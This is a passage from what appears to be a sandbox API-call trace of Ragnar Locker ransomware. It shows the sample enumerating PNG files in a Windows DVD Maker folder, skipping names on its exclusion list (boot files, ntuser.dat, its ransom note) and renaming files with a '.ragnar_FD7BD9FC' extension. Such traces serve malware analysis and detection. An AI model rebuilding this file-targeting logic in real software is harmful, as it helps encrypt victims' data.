lpString2=".dll") returned 1 [0078.816] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.816] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.816] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.816] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png")) returned 0x20 [0078.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.817] CloseHandle (hObject=0xffffffff) returned 0 [0078.817] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" [0078.817] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png.ragnar_FD7BD9FC" [0078.817] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.817] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6794, dwReserved0=0x0, dwReserved1=0x0, cFileName="full.png", cAlternateFileName="")) returned 1 [0078.817] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0078.817] lstrcpyW (in: lpString1=0x1eab52, lpString2="full.png" | out: lpString1="full.png") returned="full.png" [0078.817] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned=".png" [0078.817] lstrcmpiW (lpString1="full.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.817] lstrcmpiW (lpString1="full.png", lpString2="autorun.inf") returned 1 [0078.817] lstrcmpiW (lpString1="full.png", lpString2="boot.ini") returned 1 [0078.817] lstrcmpiW (lpString1="full.png", lpString2="bootfont.bin") returned 1 [0078.817] lstrcmpiW (lpString1="full.png", lpString2="bootsect.bak") returned 1 [0078.817] lstrcmpiW (lpString1="full.png", lpString2="bootmgr") returned 1 [0078.817] lstrcmpiW (lpString1="full.png", lpString2="bootmgr.efi") returned 1 [0078.817] lstrcmpiW (lpString1="full.png", lpString2="bootmgfw.efi") returned 1 [0078.817] lstrcmpiW (lpString1="full.png", lpString2="desktop.ini") returned 1 [0078.817] lstrcmpiW (lpString1="full.png", lpString2="iconcache.db") returned -1 [0078.817] lstrcmpiW (lpString1="full.png", lpString2="ntldr") returned -1 [0078.817] lstrcmpiW (lpString1="full.png", lpString2="ntuser.dat") returned -1 [0078.817] lstrcmpiW (lpString1="full.png", lpString2="ntuser.dat.log") returned -1 [0078.817] lstrcmpiW (lpString1="full.png", lpString2="ntuser.ini") returned -1 [0078.817] lstrcmpiW (lpString1="full.png", lpString2="thumbs.db") returned -1 [0078.817] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.817] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.817] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.817] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.817] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.817] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.817] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png")) returned 0x20 [0078.818] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.818] CloseHandle (hObject=0xffffffff) returned 0 [0078.818] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" [0078.818] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png.ragnar_FD7BD9FC" [0078.818] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.818] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.819] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0078.819] lstrcpyW (in: lpString1=0x1eab52, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0078.819] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned=".png" [0078.819] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.819] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0078.819] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0078.819] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0078.819] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0078.819] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0078.819] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0078.819] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0078.819] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0078.819] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="iconcache.db") returned 1 [0078.819] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntldr") returned -1 [0078.819] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0078.819] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat.log") returned -1 [0078.819] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.ini") returned -1 [0078.819] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="thumbs.db") returned -1 [0078.819] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.819] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.819] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.819] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.819] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.819] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.819] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png")) returned 0x20 [0078.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.820] CloseHandle (hObject=0xffffffff) returned 0 [0078.820] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" [0078.820] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" [0078.820] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.820] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0078.820] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0078.820] lstrcpyW (in: lpString1=0x1eab52, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0078.820] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned=".png" [0078.820] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.820] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="autorun.inf") returned 1 [0078.820] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0078.820] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootfont.bin") returned 1 [0078.821] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootsect.bak") returned 1 [0078.821] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0078.821] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr.efi") returned 1 [0078.821] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0078.821] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0078.821] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="iconcache.db") returned 1 [0078.821] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0078.821] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0078.821] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0078.821] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.ini") returned -1 [0078.821] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="thumbs.db") returned -1 [0078.821] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.821] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.821] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.821] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.821] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.821] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.821] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png")) returned 0x20 [0078.822] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.822] CloseHandle (hObject=0xffffffff) returned 0 [0078.822] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" [0078.822] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" [0078.822] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.822] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.822] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0078.822] lstrcpyW (in: lpString1=0x1eab52, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0078.822] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned=".png" [0078.822] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.822] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0078.822] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0078.822] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0078.822] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0078.822] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0078.822] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0078.822] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0078.822] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0078.822] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="iconcache.db") returned 1 [0078.823] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntldr") returned -1 [0078.823] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0078.823] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat.log") returned -1 [0078.823] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.ini") returned -1 [0078.823] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="thumbs.db") returned -1 [0078.823] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.823] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.823] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.823] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.823] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.823] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.823] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png")) returned 0x20 [0078.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.824] CloseHandle (hObject=0xffffffff) returned 0 [0078.824] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" [0078.824] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" [0078.824] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.824] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0078.824] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0078.824] lstrcpyW (in: lpString1=0x1eab52, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0078.824] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned=".png" [0078.824] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.824] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="autorun.inf") returned 1 [0078.824] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0078.824] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootfont.bin") returned 1 [0078.824] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootsect.bak") returned 1 [0078.824] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0078.824] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr.efi") returned 1 [0078.824] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0078.824] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0078.824] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="iconcache.db") returned 1 [0078.824] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0078.824] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0078.824] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0078.824] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.ini") returned -1 [0078.824] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="thumbs.db") returned -1 [0078.824] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.824] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.824] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.824] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.825] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.825] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.825] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png")) returned 0x20 [0078.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, 